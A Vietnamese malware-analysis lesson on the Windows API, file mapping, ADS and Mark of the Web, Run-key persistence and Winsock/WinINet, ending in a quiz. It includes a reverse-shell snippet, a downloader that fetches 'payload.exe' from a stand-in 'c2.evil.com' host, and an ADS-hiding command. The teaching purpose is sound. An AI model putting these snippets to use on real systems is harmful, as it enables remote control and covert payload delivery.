Bài 4: Phân Tích Chương Trình Windows Độc Hại — Phần A
Windows API — Tổng Quan
Windows API là “cánh cửa” duy nhất mà mọi chương trình — kể cả malware — phải đi qua để tương tác với hệ điều hành. Hiểu API là hiểu được “ngôn ngữ” mà malware nói chuyện với Windows.
Khái niệm & lý thuyết
Windows API (WinAPI) là tập hợp các hàm, kiểu dữ liệu và quy ước do Microsoft cung cấp, cho phép ứng dụng tương tác với các thư viện hệ thống (DLL như kernel32.dll, user32.dll, v.v.).
Đặc điểm nổi bật:
- API đủ phong phú đến mức lập trình viên Windows hiếm khi cần thư viện bên thứ ba
- Malware bắt buộc phải dùng WinAPI để thực hiện hầu hết các hành vi độc hại (tạo file, kết nối mạng, chỉnh registry…)
- Việc nhận biết các API call giúp analyst suy ra hành vi của malware mà không cần chạy nó
Khái niệm & lý thuyết — Types & Hungarian Notation
Hungarian Notation là quy ước đặt tên biến bằng cách thêm tiền tố (prefix) để biểu thị kiểu dữ liệu. Windows API dùng quy ước này xuyên suốt.
| Kiểu (Type) | Prefix | Ý nghĩa |
|---|---|---|
| WORD | w | Số nguyên không dấu 16-bit |
| DWORD | dw | Số nguyên không dấu 32-bit |
| Handle | H | Tham chiếu đến một object |
| Long Pointer | LP | Con trỏ trỏ đến kiểu khác |
Suffix A/W và Ex:
A= ASCII string version (ví dụ:CreateFileA)W= Wide character / Unicode version (ví dụ:CreateFileW)Ex= Extended version — khi Microsoft cập nhật hàm nhưng vẫn giữ hàm cũ để tương thích ngược (ví dụ:CreateWindowEx)
Khái niệm & lý thuyết — Handles
Handle là một định danh (identifier) do Windows cấp phát khi một object (file, process, window, socket…) được mở hoặc tạo ra.
Đặc điểm của handle:
- Giống con trỏ ở chỗ: tham chiếu đến một vị trí/object ở nơi khác
- Khác con trỏ ở chỗ: không dùng được trong phép tính số học, không nhất thiết là địa chỉ bộ nhớ thực
- Cách dùng duy nhất: lưu lại và truyền vào các hàm API tiếp theo để thao tác cùng object đó
Cách hoạt động / Luồng xử lý
Ví dụ thực tế & Analogy
Ví dụ: Hàm CreateWindowEx trả về HWND — handle đến cửa sổ vừa tạo. Muốn đóng cửa sổ đó, bạn gọi DestroyWindow(hWnd). Không có handle → không làm gì được với cửa sổ đó.
Analogy: Handle giống như số thẻ gửi xe. Khi bạn gửi xe (tạo object), bảo vệ đưa cho bạn một tờ phiếu (handle). Muốn lấy xe lại (thao tác với object), bạn phải đưa đúng phiếu đó. Phiếu không phải là xe, nhưng không có phiếu thì không lấy được xe.
⚠️ Điểm hay gặp sai / Cần lưu ý
Câu hỏi thực tế
- Khi phân tích một file binary và thấy hàm
CreateFileAtrả về một giá trị rồi giá trị đó được truyền thẳng vàoReadFile— bạn nhận ra điều gì đang xảy ra? - Tại sao malware analyst cần hiểu Hungarian Notation khi đọc disassembly?
💡 Chốt nhanh: WinAPI là “ngôn ngữ” bắt buộc của mọi chương trình Windows. Handle là “phiếu gửi xe” — chỉ dùng để truyền vào API, không dùng tính toán. Prefix trong Hungarian Notation giúp đọc code nhanh hơn.
File System Functions
Malware tương tác với file system là một trong những hành vi dễ quan sát và dễ phát hiện nhất. Hiểu các hàm file system giúp bạn nhận ra malware đang làm gì chỉ từ danh sách API imports.
Khái niệm & lý thuyết
Hai nhóm hàm chính:
Nhóm 1 — I/O thông thường:
| Hàm | Vai trò |
|---|---|
CreateFile | Tạo hoặc mở file (cũng dùng cho pipe, device) |
ReadFile | Đọc dữ liệu từ file |
WriteFile | Ghi dữ liệu vào file |
Nhóm 2 — File Mapping (thường dùng bởi malware):
| Hàm | Vai trò |
|---|---|
CreateFileMapping | Load file từ đĩa vào RAM, tạo mapping object |
MapViewOfFile | Trả về con trỏ đến base address của mapping |
Cách hoạt động / Luồng xử lý
Ví dụ thực tế & Analogy
Ví dụ thực tế: Malware dùng CreateFileMapping + MapViewOfFile để load một file exe vào RAM, tự parse PE header, tự fix relocation, rồi nhảy thẳng vào entry point — tất cả mà không cần gọi LoadLibrary hay CreateProcess.
Analogy: ReadFile giống đọc sách từng trang một — chậm, tuần tự. MapViewOfFile giống scan toàn bộ cuốn sách thành ảnh rồi mở trên màn hình — bạn có thể nhảy đến bất kỳ trang nào ngay lập tức bằng cách di chuyển con trỏ màn hình.
⚠️ Điểm hay gặp sai / Cần lưu ý
Câu hỏi thực tế
- Bạn thấy một file binary import
CreateFileMappingvàMapViewOfFile. Bạn sẽ đặt giả thuyết gì về hành vi của nó? - Sự khác biệt giữa dùng
ReadFilevàMapViewOfFilekhi malware cần đọc và sửa một PE file là gì?
💡 Chốt nhanh:
CreateFile/ReadFile/WriteFilelà I/O thông thường.CreateFileMapping + MapViewOfFilelà kỹ thuật “load file vào RAM như loader” — dấu hiệu đặc trưng của malware tinh vi.
Special Files
Windows có nhiều loại “file đặc biệt” mà malware khai thác để né tránh phát hiện hoặc thực hiện các thao tác ngoài tầm kiểm soát của OS thông thường.
Khái niệm & lý thuyết
1. Shared Files & UNC Path:
| Path format | Ý nghĩa |
|---|---|
\\server\share | Truy cập file chia sẻ trên mạng (UNC path chuẩn) |
\\?\server\share | Tắt string parsing của Windows, cho phép tên file dài hơn giới hạn MAX_PATH |
2. Namespaces:
| Namespace | Ký hiệu | Ý nghĩa |
|---|---|---|
| NT Namespace | \ | Namespace thấp nhất, chứa tất cả — kể cả device và các namespace khác |
| Win32 Device Namespace | \\.\ | Truy cập trực tiếp vào thiết bị vật lý |
3. Alternate Data Streams (ADS):
ADS là luồng dữ liệu thứ hai được đính kèm vào một file trong hệ thống NTFS. Cú pháp: filename.txt:hidden_stream.txt
4. Windows Mark of the Web (MotW):
Khi file được tải từ Internet, Windows ghi thông tin vào ADS tên Zone.Identifier:
[ZoneTransfer]
ZoneId=3
ReferrerUrl=https://example.com
HostUrl=https://cdn.example.com/file.exe| ZoneId | Vùng |
|---|---|
| 1 | Local computer |
| 2 | Local intranet |
| 3 | Trusted site |
| 4 | Internet (MotW áp dụng mặc định) |
| 5 | Restricted site |
Cách hoạt động / Luồng xử lý
Ví dụ thực tế & Analogy
Ví dụ — Device Namespace: Worm Witty (2004) ghi thẳng vào \\.\PhysicalDisk1 để corrupt dữ liệu ổ đĩa — không tạo file nào, không bị file-based antivirus phát hiện.
Ví dụ — ADS: Malware có thể ẩn payload vào legitimate.txt:evil.exe — khi dùng dir trong CMD, file vẫn hiển thị kích thước của legitimate.txt, không ai thấy payload.
# Tạo ADS
echo malicious_content > legit.txt:hidden.exe
# Xem ADS
Get-Item .\legit.txt -Stream *
# Đọc ADS (ví dụ MotW)
Get-Content .\downloaded.exe -Stream Zone.IdentifierAnalogy — ADS: Giống như quyển sách có khoang bí mật bên trong bìa — nhìn ngoài thấy sách bình thường, nhưng bên trong bìa có thể giấu vật khác mà không ai nghi ngờ.
Analogy — MotW: Giống tem kiểm dịch hải quan dán lên hàng nhập khẩu — Windows dùng MotW để biết file “từ đâu đến” và quyết định có hiện cảnh báo hay không.
⚠️ Điểm hay gặp sai / Cần lưu ý
Câu hỏi thực tế
- Một file
report.docxđược tải về từ internet nhưng khi mở không có cảnh báo Protected View. Bạn kiểm tra và thấy không cóZone.Identifierstream. Điều gì có thể đã xảy ra? - Tại sao malware lại dùng
\\.\PhysicalDisk1thay vì ghi file bình thường vào ổ C:? - Bạn làm IR (Incident Response) và cần kiểm tra xem có ADS đáng ngờ nào không — bạn dùng lệnh gì?
💡 Chốt nhanh:
\\.\cho phép truy cập thiết bị vật lý trực tiếp — né hoàn toàn filesystem. ADS giấu dữ liệu trong file NTFS không nhìn thấy bằng mắt thường. MotW là cơ chế Windows đánh dấu file từ Internet — bypass MotW là kỹ thuật tấn công hiện đại.
Windows Registry
Registry là “bộ não cấu hình” của Windows — và cũng là nơi malware hay nhất, dễ nhất để duy trì persistence.
Khái niệm & lý thuyết
Registry là cơ sở dữ liệu phân cấp (hierarchical database) lưu trữ toàn bộ cấu hình của Windows và các ứng dụng, thay thế cho file .ini từ thời Windows cũ.
Thuật ngữ cốt lõi:
| Thuật ngữ | Ý nghĩa |
|---|---|
| Root Key / Hive / HKEY | 5 key cấp cao nhất, gốc của toàn bộ registry |
| Key | “Thư mục” trong registry, có thể chứa subkey hoặc value |
| Subkey | Key nằm bên trong một key khác (thư mục con) |
| Value Entry | Một mục dữ liệu gồm: tên + kiểu + dữ liệu |
| Value / Data | Dữ liệu thực sự được lưu trong một value entry |
5 Root Keys:
| Root Key | Viết tắt | Nội dung |
|---|---|---|
HKEY_LOCAL_MACHINE | HKLM | Cấu hình toàn máy (tất cả user) |
HKEY_CURRENT_USER | HKCU | Cấu hình riêng cho user đang đăng nhập |
HKEY_CLASSES_ROOT | HKCR | Định nghĩa file type, COM classes |
HKEY_CURRENT_CONFIG | HKCC | Cấu hình phần cứng hiện tại |
HKEY_USERS | HKU | Cấu hình cho tất cả user profiles |
Cách hoạt động / Luồng xử lý — Run Key (Persistence)
Các hàm Registry API quan trọng:
| Hàm | Vai trò |
|---|---|
RegOpenKeyEx | Mở một registry key để đọc hoặc chỉnh sửa |
RegSetValueEx | Thêm hoặc cập nhật một value trong registry |
RegGetValue | Đọc dữ liệu của một value entry |
Ví dụ thực tế & Analogy
Ví dụ — Malware persistence qua Run Key:
; Đoạn assembly khi malware ghi vào Run key
push 2 ; samDesired = KEY_SET_VALUE
push eax ; ulOptions
push offset SubKey ; "Software\Microsoft\Windows\CurrentVersion\Run"
push HKEY_LOCAL_MACHINE ; hKey
call RegOpenKeyExW
; Sau đó gọi RegSetValueEx để ghi tên malware vào key nàyMỗi lần Windows khởi động, malware được chạy lại — đây là kỹ thuật persistence cơ bản nhất mà mọi analyst cần nhận ra ngay.
Ví dụ — File .REG: Registry có thể export/import qua file .reg — malware có thể tạo file .reg và dùng regedit /s để import silently (không hiện hộp thoại xác nhận).
Analogy: Registry giống sổ đăng ký hộ khẩu của Windows — mọi chương trình “muốn sống” trong Windows đều phải đăng ký ở đây. Malware chỉ cần “nhét tên mình vào sổ hộ khẩu” ở Run key là đảm bảo sống sót qua mỗi lần reboot.
Analogy — HKLM vs HKCU: HKLM giống nội quy chung của tòa nhà (áp dụng cho tất cả cư dân), HKCU giống quy tắc riêng của từng căn hộ (chỉ áp dụng cho chủ nhân).
⚠️ Điểm hay gặp sai / Cần lưu ý
Câu hỏi thực tế
- Bạn phân tích một sample và thấy nó gọi
RegOpenKeyExvới pathSoftware\Microsoft\Windows\CurrentVersion\Run. Bạn kết luận gì về mục đích của malware? - Tại sao malware thích dùng
HKCU\RunhơnHKLM\Runtrên máy tính thông thường (không phải máy admin)? - Một user báo rằng sau khi reboot, một chương trình lạ cứ tự khởi động. Bạn sẽ kiểm tra những vị trí nào đầu tiên?
💡 Chốt nhanh: Registry là kho cấu hình trung tâm của Windows. Run Key (
HKLM/HKCU\...\Run) là điểm persistence phổ biến nhất của malware.RegOpenKeyEx→RegSetValueExlà combo API để malware “đặt chân” vào registry.
Networking APIs
Khi malware cần “gọi về nhà” (C2 communication), download payload, hay tạo backdoor — nó phải dùng Networking API. Biết các hàm này giúp bạn phát hiện và phân tích lưu lượng mạng độc hại.
Khái niệm & lý thuyết
Hai tầng API mạng chính:
┌─────────────────────────────────────────┐
│ WinINet API (cao cấp) │ ← HTTP, FTP, giao thức Application layer
│ InternetOpen, InternetOpenURL... │
├─────────────────────────────────────────┤
│ Winsock / Berkeley Sockets │ ← TCP/UDP raw socket, tương tự Unix
│ socket, bind, connect, send, recv │
├─────────────────────────────────────────┤
│ Network Stack (OS) │
└─────────────────────────────────────────┘Winsock (trong ws2_32.dll): API socket tương thích Berkeley, gần như giống hệt Unix socket.
Hàm Winsock quan trọng:
| Hàm | Vai trò |
|---|---|
WSAStartup | Bắt buộc gọi đầu tiên trước mọi Winsock function — khởi tạo thư viện mạng |
socket | Tạo một socket mới |
bind | Gắn socket vào một port cụ thể (phía server) |
listen | Đánh dấu socket đang lắng nghe kết nối đến |
accept | Chấp nhận kết nối từ client |
connect | Kết nối đến server (phía client) |
send | Gửi dữ liệu qua socket |
recv | Nhận dữ liệu từ socket |
WinINet (trong Wininet.dll): API cấp cao hơn, implement sẵn HTTP/FTP.
| Hàm | Vai trò |
|---|---|
InternetOpen | Khởi tạo kết nối Internet |
InternetOpenURL | Kết nối đến một URL cụ thể |
InternetReadFile | Đọc dữ liệu từ URL (download) |
Cách hoạt động / Luồng xử lý
Ví dụ thực tế & Analogy
Ví dụ — Reverse Shell: Malware dùng socket + connect để kết nối ra ngoài (bypass firewall vì outbound thường cho phép), sau đó tạo cmd.exe với stdin/stdout/stderr được redirect vào socket. Kết quả: attacker gõ lệnh từ xa, lệnh chạy trên máy nạn nhân.
// Pseudo-code của reverse shell đơn giản nhất
SOCKET s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, &c2_addr, sizeof(c2_addr));
STARTUPINFO si = {0};
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)s;
si.dwFlags = STARTF_USESTDHANDLES;
CreateProcess("cmd.exe", NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);Ví dụ — Dùng WinINet để download payload:
HINTERNET hNet = InternetOpen("Mozilla/5.0", ...); // Fake user-agent
HINTERNET hUrl = InternetOpenURL(hNet, "http://c2.evil.com/payload.exe", ...);
InternetReadFile(hUrl, buffer, bufferSize, &bytesRead);
// Ghi payload vào đĩa và thực thi
Analogy — WSAStartup: Giống như cắm dây điện thoại vào ổ trước khi gọi — không làm bước này thì mọi hàm mạng khác đều thất bại. Đây là lý do khi debug malware, đặt breakpoint ở WSAStartup là cách nhanh nhất để bắt đầu trace network activity.
Analogy — Winsock vs WinINet: Winsock giống tự lái xe — bạn kiểm soát hoàn toàn nhưng phải tự xử lý mọi thứ. WinINet giống đặt taxi (Grab) — đơn giản hơn, chỉ nói điểm đến (URL) là xong, nhưng ít kiểm soát hơn.
⚠️ Điểm hay gặp sai / Cần lưu ý
Câu hỏi thực tế
- Bạn thấy một sample import
socket,connect,CreateProcessvàSTARTF_USESTDHANDLESđược set trong STARTUPINFO. Bạn đặt giả thuyết gì? - Sự khác biệt về mức độ kiểm soát và độ khó phân tích giữa malware dùng Winsock raw socket và malware dùng WinINet là gì?
- Tại sao đặt breakpoint ở
WSAStartuplại hữu ích hơn là đặt ởconnectkhi bắt đầu phân tích malware có network activity?
💡 Chốt nhanh:
WSAStartup→socket→connect/bind→send/recvlà flow cơ bản của Winsock. Reverse shell = connect ra ngoài + redirect cmd.exe vào socket. WinINet đơn giản hơn nhưng ít kiểm soát hơn — cả hai đều là dấu hiệu network C2 trong malware.
🧪 Quiz — Phần A
Tầng 1 — Ghi nhớ (Kiến thức cơ bản)
Câu 1. Trong Windows API, kiểu dữ liệu DWORD có kích thước là bao nhiêu?
- 32-bit unsigned integer
- 16-bit unsigned integer
- 64-bit unsigned integer
- 8-bit unsigned integer
Câu 2. Trong Hungarian Notation, biến lpszFileName có prefix lp cho biết điều gì?
- Đây là một Long Pointer (con trỏ) trỏ đến một kiểu dữ liệu khác
- Đây là một giá trị 16-bit
- Đây là một Handle đến một object
- Đây là một DWORD value
Câu 3. Khi gặp hàm CreateDirectoryW trong disassembly, bạn cần tra tài liệu với tên hàm nào?
-
CreateDirectory -
CreateDirectoryW -
CreateDirectoryA -
CreateDir
Câu 4. Handle trong Windows API khác con trỏ (pointer) ở điểm nào cơ bản nhất?
- Handle không thể dùng trong phép tính số học và không nhất thiết là địa chỉ bộ nhớ thực
- Handle luôn có kích thước 64-bit còn pointer có thể 32 hoặc 64-bit
- Handle chỉ dùng cho file còn pointer dùng cho tất cả
- Handle là kiểu dữ liệu của kernel còn pointer là của user space
Câu 5. Registry key nào thường được malware sử dụng nhất để đạt được persistence (tự khởi động)?
-
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -
HKLM\SYSTEM\CurrentControlSet\Services -
HKEY_CLASSES_ROOT\CLSID -
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion
Câu 6. Hàm nào bắt buộc phải gọi đầu tiên trước khi sử dụng bất kỳ hàm Winsock nào khác?
-
WSAStartup -
socket -
connect -
WSACleanup
Câu 7. Alternate Data Streams (ADS) tồn tại trên hệ thống file nào?
- NTFS
- FAT32
- exFAT
- ext4
Câu 8. ZoneId=4 trong file Zone.Identifier có nghĩa là gì?
- File được tải từ Internet — Mark of the Web được áp dụng
- File từ máy tính cục bộ
- File từ mạng nội bộ
- File từ trang web tin cậy
Câu 9. Hàm MapViewOfFile trả về gì?
- Con trỏ đến base address của vùng nhớ chứa file đã được map
- Handle đến file đã được mở
- Số byte đã được đọc từ file
- Handle đến mapping object
Câu 10. HKEY_LOCAL_MACHINE (HKLM) khác HKEY_CURRENT_USER (HKCU) ở điểm gì?
- HKLM lưu cấu hình áp dụng cho toàn máy (tất cả user), HKCU chỉ cho user đang đăng nhập
- HKLM chỉ đọc được, HKCU có thể ghi
- HKLM dành cho phần cứng, HKCU dành cho phần mềm
- HKLM lưu trong RAM, HKCU lưu trên đĩa
Tầng 2 — Hiểu & Phân Tích
Câu 11. Tại sao malware thường dùng CreateFileMapping + MapViewOfFile thay vì CreateFile + ReadFile để load PE file?
- Để tự load và thực thi PE file mà không qua Windows Loader, né tránh các hook đặt tại loader
- Vì
MapViewOfFilenhanh hơnReadFilevề mặt hiệu năng - Vì
ReadFilekhông thể đọc file PE - Vì
CreateFileMappingcho phép đọc file đang bị lock bởi process khác
Câu 12. Malware dùng \\.\PhysicalDisk1 thay vì ghi file vào C:\ để đạt được mục đích gì?
- Ghi/đọc dữ liệu vào unallocated sector mà không tạo file nào, né tránh file-based antivirus scanning
- Ghi dữ liệu nhanh hơn vì bỏ qua filesystem cache
- Truy cập file bị ẩn (hidden) mà Windows Explorer không hiển thị
- Vượt qua giới hạn MAX_PATH của Windows
Câu 13. So sánh server-side và client-side socket flow. Phía nào cần gọi bind() và tại sao?
- Server cần
bind()để gắn vào một port cụ thể để client biết địa chỉ kết nối đến; client không cần vì OS tự cấp port ngẫu nhiên - Cả hai đều cần
bind()để đăng ký với OS - Client cần
bind()để xác định địa chỉ nguồn; server không cần - Chỉ UDP socket mới cần
bind(), TCP không cần
Câu 14. Một analyst thấy malware import InternetOpen, InternetOpenURL, InternetReadFile, rồi CreateFile, WriteFile. Kịch bản nào phù hợp nhất?
- Malware download một file từ URL về và ghi vào đĩa (dropper)
- Malware upload file từ máy nạn nhân lên server
- Malware tạo kết nối raw TCP để giao tiếp với C2
- Malware kiểm tra kết nối Internet trước khi hoạt động
Câu 15. Tại sao HKCU\...\Run lại nguy hiểm hơn HKLM\...\Run từ góc độ phòng thủ?
- Không cần quyền Administrator để ghi vào HKCU, nên malware chạy với user thường vẫn đặt được persistence
- HKCU được thực thi trước HKLM nên malware khởi động sớm hơn
- Antivirus không quét HKCU trong registry scan
- HKCU không bị Autoruns kiểm tra
Câu 16. Khi phân tích một file .iso tải từ Internet, bạn mount và chạy file bên trong. Tại sao cảnh báo SmartScreen/Protected View có thể không xuất hiện?
- File bên trong
.isokhông kế thừa MotW từ container, nên không có Zone.Identifier ADS -
.isofile không thể chứa file thực thi - SmartScreen chỉ kiểm tra file
.exekhông kiểm tra file trong container - Zone.Identifier bị xóa khi mount ISO
Câu 17. Suffix Ex trong tên hàm Windows API (ví dụ: CreateWindowEx) có ý nghĩa gì?
- Extended version — Microsoft cập nhật hàm gốc nhưng giữ lại hàm cũ để tương thích ngược, hàm mới có thêm suffix
Ex - Hàm chỉ chạy được trên Windows 64-bit
- Hàm được export từ DLL bên ngoài (external)
- Hàm thuộc về Native API (ntdll.dll)
Tầng 3 — Vận dụng (Tình huống thực tế)
Câu 18. Bạn đang phân tích một sample malware và thấy chuỗi import sau: WSAStartup → socket → connect → CreateProcess (với cmd.exe) → send → recv. Bạn kết luận đây là loại malware gì và hoạt động như thế nào?
- Reverse shell — malware kết nối chủ động ra ngoài đến C2, tạo cmd.exe với I/O redirect vào socket để attacker điều khiển từ xa
- Bind shell — malware mở port chờ attacker kết nối vào
- Dropper — malware tải payload từ C2 về và thực thi
- Keylogger — malware ghi lại phím bấm và gửi về C2
Câu 19. Trong quá trình incident response, bạn tìm thấy một file svchost.txt trên máy nạn nhân. Khi chạy dir thấy kích thước file chỉ có 0 byte. Bạn nghi ngờ có gì ẩn trong file này. Lệnh PowerShell nào giúp xác minh nghi ngờ đó?
-
Get-Item .\svchost.txt -Stream * -
Get-Content .\svchost.txt -
dir /a .\svchost.txt -
Get-FileHash .\svchost.txt
Câu 20. Bạn phân tích một malware dropper và thấy nó gọi RegOpenKeyEx với path SOFTWARE\Microsoft\Windows\CurrentVersion\Run, sau đó RegSetValueEx với value name "WindowsUpdate" và data là đường dẫn đến file malware. Bước tiếp theo trong phân tích, bạn nên làm gì?
- Ghi lại registry key/value này như một IOC (host-based indicator), kiểm tra xem file được trỏ đến có tồn tại không, và tìm thêm persistence mechanism khác có thể bị bỏ sót
- Xóa ngay value này khỏi registry để ngăn malware khởi động lại
- Kết luận đây là toàn bộ persistence mechanism và dừng phân tích
- Báo cáo đây là false positive vì “WindowsUpdate” là tên hợp lệ của Windows
Câu 21. Trong dynamic analysis, malware không có network activity nào rõ ràng khi chạy trong sandbox. Nhưng khi đọc import table, bạn thấy socket, connect, send. Điều gì có thể giải thích hiện tượng này và bạn sẽ làm gì tiếp theo?
- Malware có thể kiểm tra môi trường (anti-sandbox) hoặc C2 server đã offline; thử chạy với INetSim/FakeNet-NG để simulate C2 response và quan sát behavior
- Import table bị phân tích sai; malware không thực sự dùng các hàm này
- Malware dùng encrypted channel nên traffic không visible; cần decrypt pcap
- Sandbox không monitor Winsock; cần monitor ở kernel level
Kết thúc Phần A. Phần B sẽ bao gồm: DLLs, Processes, Threads, Mutexes, Services, COM, Kernel vs User Mode, Native API, Syscalls, và API Hashing.